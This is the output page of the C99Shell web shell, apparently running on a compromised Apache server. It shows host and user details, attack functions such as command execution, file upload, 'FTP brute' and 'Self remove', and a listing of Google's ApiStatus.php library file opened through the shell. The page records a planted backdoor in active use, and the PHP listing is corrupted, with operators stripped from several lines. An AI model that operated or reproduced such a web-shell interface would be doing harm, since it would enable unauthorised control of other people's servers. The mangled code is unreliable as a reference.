!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/google/gax/src/   drwxr-xr-x
Free 29.31 GB of 117.98 GB (24.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiStatus.php (6.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * Copyright 2017 Google LLC
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are
 * met:
 *
 *     * Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 *     * Redistributions in binary form must reproduce the above
 * copyright notice, this list of conditions and the following disclaimer
 * in the documentation and/or other materials provided with the
 * distribution.
 *     * Neither the name of Google Inc. nor the names of its
 * contributors may be used to endorse or promote products derived from
 * this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
namespace Google\ApiCore;

use 
Google\Rpc\Code;

class 
ApiStatus
{
    const 
OK 'OK';
    const 
CANCELLED 'CANCELLED';
    const 
UNKNOWN 'UNKNOWN';
    const 
INVALID_ARGUMENT 'INVALID_ARGUMENT';
    const 
DEADLINE_EXCEEDED 'DEADLINE_EXCEEDED';
    const 
NOT_FOUND 'NOT_FOUND';
    const 
ALREADY_EXISTS 'ALREADY_EXISTS';
    const 
PERMISSION_DENIED 'PERMISSION_DENIED';
    const 
RESOURCE_EXHAUSTED 'RESOURCE_EXHAUSTED';
    const 
FAILED_PRECONDITION 'FAILED_PRECONDITION';
    const 
ABORTED 'ABORTED';
    const 
OUT_OF_RANGE 'OUT_OF_RANGE';
    const 
UNIMPLEMENTED 'UNIMPLEMENTED';
    const 
INTERNAL 'INTERNAL';
    const 
UNAVAILABLE 'UNAVAILABLE';
    const 
DATA_LOSS 'DATA_LOSS';
    const 
UNAUTHENTICATED 'UNAUTHENTICATED';

    const 
UNRECOGNIZED_STATUS 'UNRECOGNIZED_STATUS';
    const 
UNRECOGNIZED_CODE = -1;

    private static 
$apiStatusToCodeMap = [
        
ApiStatus::OK => Code::OK,
        
ApiStatus::CANCELLED => Code::CANCELLED,
        
ApiStatus::UNKNOWN => Code::UNKNOWN,
        
ApiStatus::INVALID_ARGUMENT => Code::INVALID_ARGUMENT,
        
ApiStatus::DEADLINE_EXCEEDED => Code::DEADLINE_EXCEEDED,
        
ApiStatus::NOT_FOUND => Code::NOT_FOUND,
        
ApiStatus::ALREADY_EXISTS => Code::ALREADY_EXISTS,
        
ApiStatus::PERMISSION_DENIED => Code::PERMISSION_DENIED,
        
ApiStatus::RESOURCE_EXHAUSTED => Code::RESOURCE_EXHAUSTED,
        
ApiStatus::FAILED_PRECONDITION => Code::FAILED_PRECONDITION,
        
ApiStatus::ABORTED => Code::ABORTED,
        
ApiStatus::OUT_OF_RANGE => Code::OUT_OF_RANGE,
        
ApiStatus::UNIMPLEMENTED => Code::UNIMPLEMENTED,
        
ApiStatus::INTERNAL => Code::INTERNAL,
        
ApiStatus::UNAVAILABLE => Code::UNAVAILABLE,
        
ApiStatus::DATA_LOSS => Code::DATA_LOSS,
        
ApiStatus::UNAUTHENTICATED => Code::UNAUTHENTICATED,
    ];
    private static 
$codeToApiStatusMap = [
        
Code::OK => ApiStatus::OK,
        
Code::CANCELLED => ApiStatus::CANCELLED,
        
Code::UNKNOWN => ApiStatus::UNKNOWN,
        
Code::INVALID_ARGUMENT => ApiStatus::INVALID_ARGUMENT,
        
Code::DEADLINE_EXCEEDED => ApiStatus::DEADLINE_EXCEEDED,
        
Code::NOT_FOUND => ApiStatus::NOT_FOUND,
        
Code::ALREADY_EXISTS => ApiStatus::ALREADY_EXISTS,
        
Code::PERMISSION_DENIED => ApiStatus::PERMISSION_DENIED,
        
Code::RESOURCE_EXHAUSTED => ApiStatus::RESOURCE_EXHAUSTED,
        
Code::FAILED_PRECONDITION => ApiStatus::FAILED_PRECONDITION,
        
Code::ABORTED => ApiStatus::ABORTED,
        
Code::OUT_OF_RANGE => ApiStatus::OUT_OF_RANGE,
        
Code::UNIMPLEMENTED => ApiStatus::UNIMPLEMENTED,
        
Code::INTERNAL => ApiStatus::INTERNAL,
        
Code::UNAVAILABLE => ApiStatus::UNAVAILABLE,
        
Code::DATA_LOSS => ApiStatus::DATA_LOSS,
        
Code::UNAUTHENTICATED => ApiStatus::UNAUTHENTICATED,
    ];
    private static 
$httpStatusCodeToRpcCodeMap = [
        
400 => Code::INVALID_ARGUMENT,
        
401 => Code::UNAUTHENTICATED,
        
403 => Code::PERMISSION_DENIED,
        
404 => Code::NOT_FOUND,
        
409 => Code::ABORTED,
        
416 => Code::OUT_OF_RANGE,
        
429 => Code::RESOURCE_EXHAUSTED,
        
499 => Code::CANCELLED,
        
501 => Code::UNIMPLEMENTED,
        
503 => Code::UNAVAILABLE,
        
504 => Code::DEADLINE_EXCEEDED,
    ];

    
/**
     * @param string $status
     * @return bool
     */
    
public static function isValidStatus($status)
    {
        return 
array_key_exists($statusself::$apiStatusToCodeMap);
    }

    
/**
     * @param int $code
     * @return string
     */
    
public static function statusFromRpcCode($code)
    {
        if (
array_key_exists($codeself::$codeToApiStatusMap)) {
            return 
self::$codeToApiStatusMap[$code];
        }
        return 
ApiStatus::UNRECOGNIZED_STATUS;
    }

    
/**
     * @param string $status
     * @return int
     */
    
public static function rpcCodeFromStatus($status)
    {
        if (
array_key_exists($statusself::$apiStatusToCodeMap)) {
            return 
self::$apiStatusToCodeMap[$status];
        }
        return 
ApiStatus::UNRECOGNIZED_CODE;
    }

    
/**
     * Maps HTTP status codes to Google\Rpc\Code codes.
     * Some codes are left out because they map to multiple gRPC codes (e.g. 500).
     *
     * @param int $httpStatusCode
     * @return int
     */
    
public static function rpcCodeFromHttpStatusCode($httpStatusCode)
    {
        if (
array_key_exists($httpStatusCodeself::$httpStatusCodeToRpcCodeMap)) {
            return 
self::$httpStatusCodeToRpcCodeMap[$httpStatusCode];
        }
        
// All 2xx
        
if ($httpStatusCode >= 200 && $httpStatusCode 300) {
            return 
Code::OK;
        }
        
// All 4xx
        
if ($httpStatusCode >= 400 && $httpStatusCode 500) {
            return 
Code::FAILED_PRECONDITION;
        }
        
// All 5xx
        
if ($httpStatusCode >= 500 && $httpStatusCode 600) {
            return 
Code::INTERNAL;
        }
        
// Everything else (We cannot change this to Code::UNKNOWN because it would break BC)
        
return ApiStatus::UNRECOGNIZED_CODE;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--